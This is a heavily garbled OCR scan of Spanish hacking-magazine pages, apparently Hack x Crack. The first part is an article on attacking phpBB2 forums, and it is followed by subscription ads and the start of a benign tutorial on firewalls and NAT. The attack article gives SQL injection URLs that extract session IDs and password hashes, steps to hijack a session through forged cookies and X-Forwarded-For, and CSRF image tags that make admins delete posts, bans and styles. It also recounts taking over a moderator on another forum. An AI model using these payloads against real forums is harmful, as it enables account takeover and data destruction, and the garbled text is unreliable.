.th*t"

LSS D o

P A en
S S AT RS

show tahbhless

I Y4»ro

shange
1

aulh _acce
h.-_l.'ll |
catesdgories
conf 1g

l'.l T, l ;n'__'
ioruan NN
Faruns

PGt
post
Py aem
prt

®

| 1_)1vi¢"
wvatch
-l}-\_n[:’p

tOPivy
usexn
msers
(PR A :!. "4

VYOt "CH !1
vyotLe vogtoers
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y luego

guarda ol
sid v session_user_id ol identificador

session_id ¢3 el campo que

{3840 para Grullanetx, 1011 para mi, £
para azimut... lo de antes...)

Luego ia inyeccién sql es:
'ILLL,"'."I'r"'.'-'-‘J hackzCrack.comy/phi BB2/pr

ivmsg.php?folder=saveboxfunode=read
&p=99&pm _\ql user=ANDY 20pm.oriv

m s <] € I s D {- -
09% 20UNIONY%G 20SELECT 20555100
user |d session_id, session_id,session 1

sion_id, sassi
id, session _id,
||-1."||'\1 vl"

.IJ'S

d,session_id session_id,5€$S
on_id,session_id Ses50n
Session id sesson_

n_id,session_id, sassion

id,session
ld \l*\.\-l‘lru_

esson id,s N

id,sesslon_id,se:
id,sesson_Id, session 'd,\,-._,._,l_gl_l___lggig
id session_id, Ses5100

C55ion

1d,sess510m_ |
id session _d%20FROM%20p
20WHEREY% 20session
LSUARIO%20LIMIT

SI10nN

d, sassion
hpbb2 sessions®s
usaer sd__;lL“ DFE

Lo tecleamas y..

frotcs  Hevpwsdes  daple

o Bowode !

Fomlos @-Nnu ;_(_ .,"

"
chatecsmrtmcheettton. Lo T
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SUSCRIBETE A

SUSCRIPCION POR:
1 ANO
11 NUMEROS

Contra Reembolso

Solo tienes que erviamnos un mail a preferente@hacoicrack.com
indeando:

- Nombr2

- Anellfoos

- Bireccion Completa

- Pollacion

» Provincia

- Co?rgc Postal

- Maif ds Coniacto y/o Teléfone Contacto -
Es imprescindble que nos faciltes uy mail o teléfono de contacto,
- Tipo die Subscripeion: CONTRAREEMBOLSO

- Numero de Revisr;

tsie sera el numero a partr del cual qusenes subscribide, Si desess
(pet ejenpk) subscrisirie & partir del numero S fincluido), debes poner
un 8 y t2 envaremas desde e S hasta ¢l 15 {ambos induidos)

AFRECIACIONES:

" Junto con el primer niimasa recibiras el abono de 45 auras. precio
de la sukscripeién por 11 ndmeras [un afic; y una carla donde se 2
indicara fu numero de Cliente Prefarente y justificantefactura de la
subscripsicn.

' Fuedes hacemos legar astos datos POR MAILtal comne to hemes

indicado; rellenando el formulario de nuestra WESB
wwahaddorcrads.com| o erviandonos una carda a ls siguiente direczion: |
CALLE PERE MARTELL W20, 2212
CP 43001 TARRACONA
| CCPANA
. Cualquicr consulla referente 2 las subscrivaones puedes enviara
nor mall 2 prefarente@hackxcrack.com

45 EUROS (10% DE DESCUENTO)
“+

SORTEQ DE UNA CONSOLA XBOX
+

SORTEO 2 JUEGOS PC (AELEGIR)

Giro Postal

Enavianes un GIRO POSTAL por valor de 45 FLIROS 2!

CALLE PERE MARTELL20, 2° 12,

CP 43001 TARRAGONA

ESPARA

IMPORTANTL: Cnal TEXTO DEL GIRO escribe un mall de contacto
o un nimero de Tefonc,

- Y enviarnos un mail a preferente@hackxcrick com Indicando:

- Nomire

- Apeliidos

- Direcsion Compieta

- Poblacién

- Provincia

- Cogigo Postal

- Mail de Contacto y/o Teléfono Contacio

Es imprescindibie gue nos facilites un meil o leléfons de tantaclo.
- Tipo de Subscripcion: GIRO POSTAL

- Numero de Revista:

Este ser& el nimers a pariir cel cua quieres subseribre. S deseas
{por ejemplo) subacrihirte a parir dal niimem 5§ {indukdc), debas poner
un 5 y le erviaremos cesde el 5 hasta el 15 {ambes incluides)

APRECIACIONES:

* Junto con @l primér ndmero recibirds una carta donde se te indicard
tu numero de Cliente Prefsrente y justiicantefactra de ia subscripcian,
* Puedes havemos llegar estos datos POR MAL tal como t3 hemos
irdicaco; o enviéndoros una carta a fa siguiente direccion:
CALLE PERE MARTELL N°20. 2°-1*

CP 43001 TARRAGONA

ESPANA

* Cualcuier consulla referente a las subscripciones puedes envizria
por mal 3 prefereme@hackxciack.com
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Qbviarmnmente of usuario a spoofear debe
estar logueado en ese momento, en
caso contrario halaremos un sid nulo o
invalido.... abiif que estad oculto, no pasa
nada... cualguiera puede comprobarcio
sin necesidad de ser odmin

Bueneo, va tenemoes esio!
¥ usuario: Grullanetx
PIP: XXX.YYY.70.59

b 1D: 38490

PSID. Ma98eaS7catO585adeeddss
8e9c2d2f {cue es lo que nos dio el sgf
inyection de las tablas session y cue varia
por cada vez que s loguea.. o sea, que
hay que hacerfo "2n el nmiomento que se
le veo..."

Pues ahora salo nos falta compietar {a
covkie v punerla en el proxomitron
como aprendimos.... 2 esto e pegamos
@l 610 ahtenido v 1o cambiamos &l usernid

phpbb2mysql t=a:1:{i:15405;1:1087417130;};
il 2nysql deabr=u2: {5711 autoopinid”:s0; " ol "wsnd a3 " 2687 1
phpbb2mysq! sid=

Luege nos quedara asi

PORLIMysQl_ =2 2:{(1: 45905040874 L7130, };
pipbtImysgl dstr=rdi {51 10 naalogvud ;50 et wsend s d: "3840' s )y
PRpLL2Mmpsgl d=I0a98ea S 7caG0586u9ecdd 6389202l

Por ultimo ponemos fa IP en fa
cabecera X-ForWarded-For (out) ...

y el resta yalo congcemas +

Te astaras preguntando si se pueaden
hacar mas cosas... pues si... per ejemplo
podemaos sacar el hash de la controseia
y luzgo craguearia, aungue daro, después
de esto no tiene mucho sentido perder

Pagina 20

tanto el tiempo, pero =a fin, le pandré el
cédigo de Inyeccidn:

http :/fwww hackxcrazk.com/phpBB2/pr
ivmsg.phprfolder=savebox&mode=read

Gp=9a9&pm_sgl user—ANDW20pm.priv
m_.s..g 8 RGALC S

9% Z0UNITONY 205 ELEC [Yh 2UUusSernam
e user_password,user_password, user_p
assword,user password user_password
usaer SSEW Jsor ceword ucer 3
ssword,user_password user_password,
USer_password, user_password user_na
ssword,user_password user password,
user_password user_password, user pa
ssward usor SoWwnr SPr DASSY
user password, user_password user pa
ssword,usel_password user password,
user_password, user_password, User_pa
ssword. user_passwerd, user _password
% 20FROM% 20phobb2 users¥%20WHER
E%20username="Grullanstx'%20LIMIT
Y201/

Ceon este no te hace falta ni cecnocer gl
userid... drectamente ¢l nombre del
usuarto y ZAS, el hash en MDS del usuario
en tu navegador,.. luego al crack...,

yoe Coedn fw Pesiac thyessds  legbe

e

Por si gueda alguna duda, aqui te ponga
aleunas capturas de "otro” fore, para gue
no haya susceptibilidades, por si piensas
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que siendo uno de los administradores

de hackxcrack tengo mas posibildades...

Entrando en el foro "guiri”,
"curiosamente”™ el usvario vsurgado ora

un moderador ¥

Py oy W e g I . M1
Vodbmmet o A Am New . . A 3
Loal et Lt
e e L (S
L “s L e

L e damy e ey e ey W»
: Sl |

! l‘l) Mh-l'm AL

e, s

V:endo Ia zona reservada para
moderadores y administradores

L AL e -
Lot eiryvy ) SR PRI

C e S
e e
b vo b

CLSTCE I T

3 B ol 0‘-
e
L"l . Qn;t'\'vc-uu_u—w-.-
AL ReT A S e

I R

. — ——— ——y

Los privados... gque cosas...

LA )
PN A e e b
s s Lo ¢
[ wte b N A L
00, s Ams s o v T e

R i et e L e L Tl -—
NEK O R
e < B i
g o 83 1 R T
P T e e
] oe— (1]
e o AT e L
et smasn
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Moderando el foro...

b 55 B SR S ') A b L e
§

8 v ‘ A

o
I ™
ot orplhe U o e

Todo usando la misma tecnica... claro,
que para que puedas usar las
inyecciones SQL y averiguar fos
peardmetros necesarios paca el spoof,
primero hay que registrarse. .. puesto
que para usdr los codigos anteriores hay
que haber heche jogin en el furu... a no
ser... que se permita postear a los
invitodes.

Terminando....

Si cambias la IP del X~-Forwarded-For
en el proxomiitron y estis loguecado en
el forop... te desconedards solilo, porque
el phpBBZ2 comprobara gue tu IF

va no es la misma y caducara fu
sesion

Para utilizar SQL inyection y HTML
inyection debes estar logueado como
usvario registrado, nc sirve <omo
invitado.

Para spoofear un usuario con su IP
y &l SID robado, debes hacerlo como
invitade y en una sesion nueva de!
navegador, en caso contrario no
funcionara.

. L ]
— » 40_.|«
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D L ¥ R L)
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Craquear los hashes en NOS de las
contrasefias puede ser una labor eterna...
si el upsuano tiene un password de muchos
caracteres y con combinaciones de letras,
nameros y signas, lo mas probable es
que nos entisrren a todas antes de
sacarla.

Ahh!t ¥ decias que se pueden borrar
pOSTS @ "dirtgl™ a enlaces maliciosos...
pues si... este es otro bug, de lo mas
estipido, pero sorprendentemente
dafino...

Si nam to:

nttp://viww. hackxcrack com/php8B2/io

in. 2| ut=

v pinchamos en el fink... nos desconecta ..,
vaga'eee, eso es una giiipofez... nade
pinchard en esn... pero.... Ly si ponemos
esto’?:

[imglhttp: / /www.hackxcrack.com
{phpBB2/login.php?logout=true( /i
mg]

Pues parece lc mismo, perono le es....
el phpBB2 ce hace /3 picha un lio y quiare
mostrar esa imagen... no puede porgue
no lo es.,.. y 10 ejecuta... o sea, gue sl
ponemos eso como firma o como avatar,..
todos los que vean los post del usuario
que ftiene eso en su firma se
desconectaran del foro. .

Pues para borrar post igual....

[Imgihtip://www. hackxcrack.com
/phpBB2/posting.php?mode=delet
eBp=NUMERO_DE_FPOST_A_BORR
AR&confirm=yes[/img]

SIN

post que s2 hava indicado...
PREGUNTAS.

Los usuerios normales no pueden borrar
en la mayor parte de lss ocasiongs, pero
si me pongo €50 en la frma... sequro que
un administrador o moderador, tarde o
tempranc vera alguno de mis posts y se
borrara el que yo quiera....

Pues |a respuesta la di en el hilo de "la
importancia de llamarse HTML", mas

iframes <

Es decir, me creo una web en cualguler
servidor..... y junto con mi bonta web,
sus fotons, videons, ete . me cren Bsto:

‘a—w M e WWMM 2
4 TN OV N It I L T MRS DI TR SO
M T e

Y no sigo por gue ya lo coqéis, ino? o
mas facl un JavaScript v un bucle que
vaya variandao ef valor de p

Pero hay mas... también se pueden
usar estos

\[[Zadmin/admin_styles.php ?mede =dsletetstyle_id=numero)

donde niomero sa2ra el estilo a borrar

Y cuando un administrador o un
moderadcr pase po- ese hilo, borrara &l
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|_/admin/admin_words.php?mode=deletekid=nimero, |

dond2 numero sera la palabma cersurada a borar
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Wwavfn/admln_mu#es.php Fmode =deletesld =admero ]

para Ins smilies

[ 7admin/zdmin_user ban.php?mode=deietefid=nimero |

para los baneados..., vamos, un desastre,
de veras... a mas de uno 12 han fulminado
¢ foro completto....

Ahora sl... termino: dos cosas, otro enlace

x

¥ un agradecimiento especial @

El enlace es para que os podais descargar
todos los cddigos expuestos, las webs
malicasas, las html inyection v sql
inyection, que teclearlos es un mllo y
S2QUIV Que Nos equivocamos. Eso si...
culdadito con lo qus se hace,..

atepwww forohsc.comfbugicros/descarss. 2Io
¥ €l agradecimiento;

Agradecer la labor que mis companeros
han reallzade, labores de vigilancia
intensiva para que esto N0 ros oourriera
a nosotros, para todos los mederadores
que son hoy, los que fueron... y para un
grupo "de oteadores” y “conejtios de
indias” que nos ayudaron a mantener "el
arden”, moebius, Yorkshire, mi queridn y
ultraiado Grullanetx.... buff, expero no
dejarme a ninguno... pero todos sabeis
a quenes me refero....

GRACIAS!!!

Dominios sin letra pequena

Tu propio dominio por sélo 18,95 € por un afo’,

con todo incluido:
+ IYA incluido

-com + Panel de control
et + Redireccion a tu pagina WEB con META-TAGS
.org * Redireccion de email
info - Gestion completa de DNS:
_biz apunte a la #? de W conexion

* Bloqueo antirrobo

* Sin tetra pequera; 18.95 (VA Incl (15,34 + VA 16%). Precio para
un aho de registre extessiones . com, .net, org, .nfo, .biz .
Precos menores contratando varios ahos.

*n

domiiteca
www.domiteca.com

Prechs especiales para distribuidores; consiitanos,
DOWTECA® e3 un servicio ofrecido por HOSTALIA INTERNEY S.L
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Ineramos un nuevo curso de lo mas ‘jugoso”
No hace falta hacer una extensa presentacion. amplement e telo advertimos.
N0 £S5 UNCURSD QUE PUEBAS SALTARTEM

Saludos de nuevo, amigo®@s

Nuestro sguierte objetivo son los cortafuegos,
105 Firewalfs, esas "Nustres” canocldas v
desconodidos. Por el memento presentars
algunas definicienes bésicas, tipos de
cortafugqos, su implementacidn, algunos
servicios caraderistcos como NAT y PAT v
Lterminaremos 2! presente articulo con los
acceses MO auorizedos a redes,

Pare después de las vacacionas de verano,
tenemos una gran tarea, separtidos e varios
articulos més: implemenraremos Firewalls
Camarcialas, otros como IPTABLES Y
conlinuaremes con algunoes articulos
interesantes a partir de Ociubre como:

b nades Hetoregéneas ¢ Integrocién de
Sistemas LINAX-Windows

¥ Disedio y Teologas de Redes Prvadas
Virtuales

P Redes WAN: ADSL, RTB, RDSI...

¥ Routers v Routing

Y termimaremas alla para final de afo
convirtlendo nuestre PC (une viejecito, no
hace falta que sea una supermdguing) en
un Houter ADEL tarto para Windows como
para LiNUX, nada tendra que eavidiar a esos
"cacharras” del tipe CISCO, 3COM, Zyxel,
elc. Hasta ofreceremos cenectividad en
diferentes tecnologias de redes, fibra,
athemet, token ¥ por su puesto.... INTERNET...
hasta puede ser la ban vilipendiada XBOX Gue
fantos disgustos vy alegrias nos causé...
cCorwertir la Xbox en un router ADSL? Mmm,
€5 una jgza.... a fin de cuenkias tene wa
entrada ethernetl y una conexién & Internet...
¥ Qué demonios.,, 2s ur Pentivm 11§ con

discodura v rogo ¥

Par el momento nes confermames con 19 gue
hay... unos cuantes PC's y los medios v
dispositivos ce red habituales, pera
afrentaremos este heche con los condamentes
necesarns para construir un sistema eficaz
de seguridad. Tras “/a sene” ce JDS (pubicada
an s anterioios almoros: e s rGWS&B}, ahora
hablaremocs ce Firewalls, proxys, gateways
v host bastién.

Definicién y funciones de un

Firewall

La funcién prncipal de un firewal! cosisle
en examinar las comunicacioncs que se
cstablecen entre dos redes, permitirias,
rechazaras e Incluse rediriginas.

Aungue se puede implementar soluclones
Firawalis en ana nicz 12d, no es v habitual.
Lo normal es que los Firewalls actien coma
cartinelzs de guarda evilendo los accesos no
autarizadas a cualquier abre disposilive que
protege, que pueds sér un Onica fest, unas
pocss o o red entera,

Desde 2l punco de vista 2mpresarial, una rend
auarda catos @ infarmacion valiosz, por ello
se debe guardar Iz confidencialidad de sus
datos, ls integridad d= los mismos v la
disponibiidad |el acieso) de las maguinas que
la componen.

Un Firewall o= un diepeositiva {0 un conjinto
de ellos) de contencidn. Funciena dividiendo
fa red en vanas 7onas y evitando gque <l Lrafice
qernerado entre o saga de cada zona
cepenclienco de unas reglas astablecidas,
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Cémo protegen la red los Firewalis

Basicamente de cuatro formas:

En aste articula haremos ralerencia a los
Firowalls corro un conjunta d= uno o varos
cispasitivos que se encuentren entre redes
de cenfisnza {come pucde ser una LAN) v
redes externas {como puede ser [ntemat).

=y,
‘/.-Tff. o

b Todus lax comunicaciones ceben pasar
Eor‘elbs

Sols permiticin el trafico avtorizado
P Pueden y deban resistr los alagues
dirigidos contra ellos mismos

Un Firewali puede ser un router, un PC un
fhost especifico disenade para ello, una
carnbinacin de toda la aaterior v también un
conjunto de maquinas que operan para
praservar la sequridad en fos acceses a lared
v normnalments se ubicar en los Iimites de ‘a
topologia de le red, dentre del perisnelio que
Se Lonsidera oome “seguwo”,

En orincipio parece bastante facil definir lo
que 5 e permetre de la red, sin @mbargo
conla aperigdr de les redes privadas virtuales,
a veces, no es tarea facil.

PC PASO A PASD N 22

P Filrado de paguetes, puertos ¢ Servicios
B pucrtas de enlace 3 aplicadonas {gatoway)
y proxys ce aplicacién)

¥ Puertas de enlace entre drcuilus (gateway
¥ proxys SOCKS)

¥ Inspeccion de paquetes de estado,

Ventajas e inconvenientes de los
Firewalls

Sin un Firewall, |és redzs quacan expusstas
con Lodos sus dispositivos y canfiguracion de
seguridad, es decir, si esas dispositivos ofreoen
cervicies al externiar, la seguridad d2 1as
trensmisiones dependera del propio sistema
pperativo de los equipos y de o rebusto gue
sea el sarvicio ufrecido,

Sin un Firewalf, la saguridad s& basa
totalmente @n los hosts vy cuanta mas grande
sea la red mas compleje sera manteoers la
sejuridac individual de cade uno de ellos. ..
ya sabes, muephy “acecha’, imegine uno
empiresa cen 5 sérvidores web y un
administrador parcheands 105 aQuUicros...

segura QU parchea todos menos uno =

¢Cuzedo bace muchas pios gue 1o dedioas & 3 ensetanss, e s
cueny de ulgunus £050: realoenny inmmesuntes. Uai s destacic
@n qae 133 porzoras, cuando e scenan poe primeca ver a s
infarnin’, possa i g “rosenci”. Coee quernm onderadoe

s Tulizey cias PerfEano ] g I S OPUITUNGE. g sieiigie o
la que lo dizes, et

Esa “ingeencia’ se pierde riprdaments 3 medide qie s
concintenmos cwventr, Loe ordengiores recexiie vn Satane
Operative para fuicionar ¥ sse sislemiopesting esh prognmado
POF 3¢ssanis, ¥ (38 persoias comercis srores, ¥ ¢l revaltxlo
es gu los rdenadores fioeioon "ar bien” come las hunancs
hemos sido capiess de pragrarsarlas,
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A dende qreremos Hegee con sta nofa? Pucs que 5 todo fuese
pretecta lor Hrawallc on wxastivian, todox v cadn uno de los
clemenros gue forman parte de uns red serian elementos
invulocrubles,

Pero asia sxuactea 1denl st muy leos de In eealidad. . pars
enpeas el peapio protoois TP e imperfecannes, por la
tanto, cualguier ¢kemenio basads en &l (por gjcmplo Intzmet)
arrasks ese impefeceimes gue deben ser “corregidas™ por el

P Reglas generosas o demasadoe permisivas

P No pueden detener ataques si el trzfico
no pasa por eligs... otra perogrullada...
rero si el ataque se preduce “desce dentro”
¢ Firewall no funciorard... benditc seas
IDS de mi corazén %

P Pueden cenvertirse 2n un embudo

Sistema Operative de tumo. of cual ambin es inperfesto. .. dsmiruyende |a fiabildad, 2! rerdimiento
eninnces cotlguisr progeama gt un sistenn opeeativa dehe o la flexibilidad ce la red.

Yearrzair! {en la medida de le posible) esas imperfecciones

orvustredos ol TOPP ¥ dol Siskens Opecutive, v In cadena sigue Con Firewall o sin &1, tamasidn hay que
¥ 8ig02 ¥ slgue. asegurar '0s hosts, esto daria para mMuuLuchos

articulos, pero como pautas a seguir:

LT reultady? Fues que anta asis sabes mas coentis te idas el
CAUS 10IMAnte, LUanie mas compleo mos CAOTICO » mas
madidas de weunicad necestarios, .. s el mundo fuees perficta. .
o5t wileule no existiria.

Esto no quiere declr que al usar un Flrewall
pedemos descuidar a los hosts, pero no cabe
duda que 'a indusién de un Firewall en la
red ayuda a pretegeria frente aun enar yla
atenclon del administrador se centrard en
Jna Unica maquina y no 2n todas...

Los puntos fuertes de un Firewall son:

P Reforzar |z politica ds seguridad

B Restinglr el acoeso a servichs especificos
P Son auditores excelentes

P Pruducen zlertas y avisan ce los sucesos
que se producen

Ademas cuando se implementa un Firewalf
es recomendable también:

¥ No afrecen prot2ccion ante |o que esta
autorizade, jajaja, estards sonriendo...
que perogrullada... miraio asi: Imagina
un Firewall que protege a3 un Servidor
wab, opviamente debe permitir & tranco
hacia €l misme 0 na cfrecemos servicio
alguno, pero por le general no protegerd
lcs atagues o explotacion de
vilnerabilidades del servidor web ¢ contra
'a aplicacién en sf... HTML injection, bugs
conocides, overflows.... etc..
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Disenio de redes con Firewalls

Host Bastién

Este apartado bien merece otro articula
especkico, de hecho 1o tend-3a... en préximos
masas, para por &l mamenta tres conteptns
y tres implementaciones:

5 Host Bastidn i
¥ Gateways o puertas de enlace

Zona Desmilitarizada

L3 PMZ es una red compieta que permite €l
trafice entre Internct deniro o fuera de ia

Intraret ¥y al misme tiempo mantiene la
seguridad =n lg propie Indranet.

£s como &/ recividor ge una casa, "'os ge
fuara” vienen perc ne pasan ai salén, nos
yisitan, los atendemcs y los despedimos...
no wsaran ni la cocina, nf e cuarte de baiio.

"Los de dentra® pueden stravesario para
salir a la calle o permanecer en el redbidor,
geve sin comprometerias oras depandaencias
de I3 casa, sna DMZ es como un buffer entra
Intervet y nuestra red.

La DMZ contiens sersidoras ¥ dispositves
de comunicaconss de capas 2 v 3 [switches,
routers, Firewalls.,..)

Los servidores edan oneclados DENTRO de
la DMZ v pueden ser praxys, servidores ds
acceso remaota, VPN, correo, FTP...

Rod Locl A

-,

"

Rod Lo 2

Es un sistema que se uliliza came "puilo
fuerte™ y con caracteristicas de Firewall, en
muchas occasiones es quien se lleva “/as
bofetadas”, puede ser un PC, un rcuter, un
Firewall. ..

A menudo el host bastion es un sistema gue
NO REENVIA drecciones [P ancre Tnternet y
la Intranet, es decr, se puede acceder al
mismo gesde cualguiera go s dos partes
pera NUNCA las dos redes Intercambian datos
directamente.

T —

T ———

——
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Puertas de enlace

MNormalmente es un rouler qua aclila como
Firewall y como rovter, opera con filtros de
pagquete para bloqusar trafice IF, TCP, UDP
que no esté autorizada, tembién obros
protocoles perc casi siempre coa reglas
"simples™ de puertos ¥y servicios
despreacupéndose del contenido del trdfico
en sl misme, comunmente 8 coe conjunte de
reglas se ies denomina ACL's (Listas de
JCCes0)

Todas estas definiciones, conceptos &
Implementaciones en ccasiones pueden
confunditte, sobre rodo en disefics de red
pequefios. en astos casos nes encoentramas
con un “todo et une”, Imaging una pequzia
empresa con 30 & 40 mAaquinas, can una
conexion ADSL contratada con un proveedor
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v ofreclende servicios WEB en un equipe
cualguiera ce su ed corporativa. En este caso
<l router gque instala el provesdor LO ES TGRS,
bueng, realments ne hay CMZ,

Cbhserva gue 2n el ejemplo anterior,
comprometar 2 servicor web signficaria
comprometer toda la red interna, idem si se
consigue cemprometer el mouter, aungue re
se disponga de accesc a los equinos istemos
desce el exterior, comaromater cialquera ce
ok cos disposibvos amenazana la saquridad
ce bados laos demas,

Implementacion Tipos de
Firewall

Fundimentaimente podemos distinguir:

Como ves, muy parecido a los diferentes tipes
de 105, puede confundirta el primero, @
segundo y &l tercero... parecen lo misme,
pero no la son... pasemos a ¢escribirlos:

Fretegen redes completas v se instalan sobre
Sistemas Operatvos comn Windows, LiNLIX,
Salaris, erc.

Ademids suelen reforzar la plia de protoceles
TCP/IP del prapic sistema operatvo, medifican
fvs archivos de inicio, entradas 3l registro v
2qraqan Puaves proccsos,

Entre los mas cenocides y nombrades estan,
el conjunte TPTABLES cel nuclen de LiNL,
solucinnas dal tipo StonesGara, FI¥-1 d=
Checkpoint, erc. ..

Los routers
vy en redes pequenas se utilizan comn
Firewalls.

En este tipo se encuadran dispositvos que

son |z primema capa de proleccicn

Aunque as capacidades de filtrade han
mejorade mucho, hebituamente s2 limitan a
denegar o oermibin ef balice por puerl, servisio
O protocola pera ne revisan el contenide de
10s paguetes de datos, se imitana INnspeccionar
las cabeceras, no 1os datos que se trarspetan,

Sin embarge son muy Utiles cuando se
ccmbinan con un Firewall, puasto qua a este
ultime va le llegan los paquetes filtrados oor
el router v no tiens que pcuparse de todao 2l
tréfico, con 16 que auments el rendimiento de
los cortafuecns.

Pues un Firewall que protege a un UNICO
frust, son soludones ecendimicss y abies s
en nuestra red disporemas de pecas maguhas
ofreclendo serviclos, sl por &1 contrario son
muchos, la labor administrative de mantee:
individualmente cada uno es muy elevada.

Normalmente sen sofhware que s2 instalan en
los sisbemas aperabivos anthdanes, como Zane
Afarm, Kerio, efc..

tienen hardware v software propio v otimizadao
para la furcidn que desempeiian, es cacir, son
como los Fireswalls de red basados en Sost
pera con independercia del sistema operativa
anfitrion. Son auténticos ordenadcres

especializados en labores de Firewall,

Entie 105 m3s conacides teramos 105 Pixware
de Cisco, Firowalls de 3C0OM, Nokia, cte...
También les pademos llamar Firewalls
Haragware y, por clerto, suelen ser bastante

caras,

Servicio _de Traduccién de
Direcciones de Red (NAT)

Mo pademns continuar y enrender el
funcionamiento de un Firewall, un rovter o
una puerta de enlace bipa praxy si ne
comprendemas ¢ entendemos bien que es =50
del NAT.
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NAT permte "eamascaras™ un conjunto de
direccores IP {una o varias redes o subrades
completas) bajo ana Onica direccén 19 o bajpo
Lras pocas.

"i m Wﬁ 3 mmw:« mmm w
-“abgmtb con 56 ora‘madaﬁes mnet:faciesa
internet, una forma de mnmdosmm
contratar 50 i pubiicas a un. m«eedoro
m:fum de. conexiones ADSL parlrmda
ordbnador, asf rodos saten ‘a Intemec.

Como supandras (y supanes bien) eso,
cdemas de sar carisimo, no o= la solucicn
que €egira el propletario del ciber, en su
lugar, asigraré dreccienas [P privadas a cada
PC ¥ contratard una o varias 1P's publicas.

Para simplificar ¢l ejemplo, supongamos que
son cnch ordenadares con sus cinco IP's
arivagas ¥ una Gnita direccign piblica.

Firewalls - Firowals - Firewalls - Firewalls - Firewalls -

fas onco se la envia 54 todos san 2.2.2.27

POngamos otro ejemplo. Supongamos los
equipos 192.168.0.1 {(PC-1} v 192 168,0.5
(PC-5) acceden &l servidar de googfe pera
efectuar una busgueda...

Supengamos que MAT es un servicio que
realiza el rouler del cber café (192.168.0.254)
v traduce las direcciones de 1oz PC's 1 v 5 en
la ipglobal 2.2.2.2

El router del cibor coneee 12s 19's de Ios PC's
pera el Server de goegfe recibe DOS pelickres
cue vieren de la misma 1P (2.2.2.2). Cuando
el servider de Googe emite 13 respuesta @
las basquedas o2 los usuanos que hay sentodos
en los PCs 1 v 5, envialas respuestas a la

Ip 2.2.2.2.

La Funcidn de NAT en la red de! cibercaté
ara convertir fas IP's Privadas de los 5 PC's
en la P pablica esignada por el ISP (2.2.2.2).
Hahlanda clarn, imagna quee las cinca BT &
accedern al mismo tiemso a
wwwye mocosoft.com, pues bien, ¢l servidor
do Mecosoft recbird cinco conexiones de la
P 2.2.2,2, Para £l SemIcor e MOCosolt exisie
un sole PCque tiene la IP 2.2.2.2 y que 32
ha conectade clhce veces,

Come vemos, laprimera veniaja de NAT ¢s
que oirece cierta orivacidad, el servidor remara
ne sabe |3 IP real (IF privada), sdla conoce
la ip piblica,

Pere ne tado son parabiencs. .., dqué ecure
con el (réfico de vuelta? cCuands ef sanvidor
eMmoio darveeiva (08 resuitgdos, @ Gguién de
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a ta 1P mbhca 3.2.2 2 (muter‘ d«l cmr)'

;iacomo m sa_w o router def ciber que las.
-cespuestas n\g-us pa'gkras de pemosscn para-,n

fas mqmas;

Pues muy senclle... cuando NAT s¢ activa, ¢l
router del ciber consiruye une table fa tabia
NAT) que relaciena las 1P's internas con los
puertes que abrieren 193 PCO'S
cortaspondientas. ..

por ejempla 4si:

Cuando google "responde™ lo hace a la IP
2.2.2.2 con desting al puerto 1122 & 1030,
de tal forma que cuanda regresan los
resultados al router, éste no liene mas que
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consultar !a tabja NMAT que mantene y
compara los puertas arigen con el pusrte al
que google ceslina la informacion y "sahe”
gue lo que l& venga par &l poerta 1122 se lo
gebe entregar a PC-1 y lo que I2 venga por
el puarto l036 ce Io ha de dar a PC-E.

“Bien pemqucarmem? Ll e

DOS Ip's diferentes que abren EL MISMD

puerte, estw es perfaccaments posibie, nada
la impide v nada implde tampoco cue los
navegadores de loe PC-1 v PC-5 no puedan
gbrir los mismos puertas en cada ordenador. .

P El router traduce las Ip’'s Internas
152.168.0.xxx por la 1p piblica 2.2.2.2
» 5| s de unz Ip Interna se dirige al
mismao destino ¢ ublizan fos mismme puartos
origen, ademas de traducic la clrecadn
traduce e puerto mediante PAT
» googie racibe v razperde @ una 1P
‘traducida por NAT v a un pusrto traducide
por FAY

¥ el rovker recibe bs resullados de google,
consul@a NAT y PAT, svericua cual fue i
IP de origen y envia las pdainas.

Pégina 30

Fues esto lo soluciona con PAT,

PAT &5 comoc NAT pero para los puertos, o
sea, que el youler ANTES de dejar salir 13
conexian vedifica gue ne existan puertos origen
“repeddos” pare un mismo desting, y si o
son, aiade otra Informacldn en iz tabla NAT
y Uaduce @ puerto gue usa el cliente par oo
que easté libre.., asi mas o menos:

Lo que recibe google son dos consukas de
13.misma 1P {la 2.2.2.2}, una par el puerm
1122 y otra por el puerto 1025 {que es el
traducdo por PAT)

Cuanco devuelve los resultadas y licguen al
router, vendran “los perros” per el puerts
1122 v "oz gates" por ¢l 1025, v el router
traducra a 125 1P correspondientes v enviara
las respuestas a los verdaderds pusrnos ongen,
ro a los traducidos,

Come ves, en este ejemplo PAT no traduijo
el puerto pese a ser el misma en las dos
conexiones {1122), puests gue la 1P destino
es diferente en ambas conexiones sl blen los
pUeras orgen eran Ios mismaos,

¥ claro,... en lugar ¢ goegle ¢ hadixcrach,
lo que existe en la tabla NAT son las
direwlones IP's de «50% servidores, no sus
nombres, v puse as pare no liarnos con los
numeros d& IPS que ya fue bestante con la

que hubo =

f»:zr&m aam quéaaya

Pues muches cesas mas, por cjemplo <l
timeout, el tlenpo de caducidad de la entrada
en la tabla NAT, pErc uueno, can 2sto es
suficiente, de momento no Nos preacupara
demasiadc ¥ también cabe esperar cue en el
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curso de TURAIP cue ofrede esta misma revista
ya nos hablen de NAT de un modo "mas
formma™

Ahara que ya conocemos cué es NAT v cué
es PAT, antes de continuar. veamos lgunas
"narticufaridades” de esto misma, me refiero
N

P SNAT C NAT Estatica
P DNAT o NAT Dnamica
¢ Equilibric de Carga

El ejemplo anteriar, el del ciber, los perros,
lox gatos y google 5 un ejerplo de NAT
estdtico y se llama estitico parque 1as
cirecoones internas y sxtemas N3O CAMBIAN,
el Firewall o el router simglemente sustituye
las direcciones irkermas por la exema v/o los
puertes por PAT, ningun otro dato del pagquete
es modificado.

NAT dindmico se utliza cuando queremos
hacer corresponder un grupo de direcciones
internas con un conjunts de direcciones
pdblicas, es dedir, si nueskro clber café dispora
de varias 1P’s pablicas pusde asignar cada
una de esas direcciones pablicas 3 unos
cuantos PC's locales, unos utilizaran por
ejemalo la 2.2.2.2 y otros 13 3.3.3.3 4 la
4.4.¢.4, etc, dependiendo de los criterios
que s2 establezcan.

Incluso pedemos dejar a la "elfeccion™ del
roater o @ Firewall cual d= ellas tomara, es
como st en up unico rouvter o Firewall
enchufésemos varlas lineas ADSL o como si
dispusiéramos de vanos routers... no es asi,
©0s PCs locales silo tendran una nicz pueria
de enlace ¢ serd DNAT quien determine la
[P publica que usaran.

Desde el punto de vista de seguridad, DNAT
es mejor cue SNAT puesto que unas vecess
se llega al destino con una IP y otras veces

ron una diferente, sin embargo esto puede |

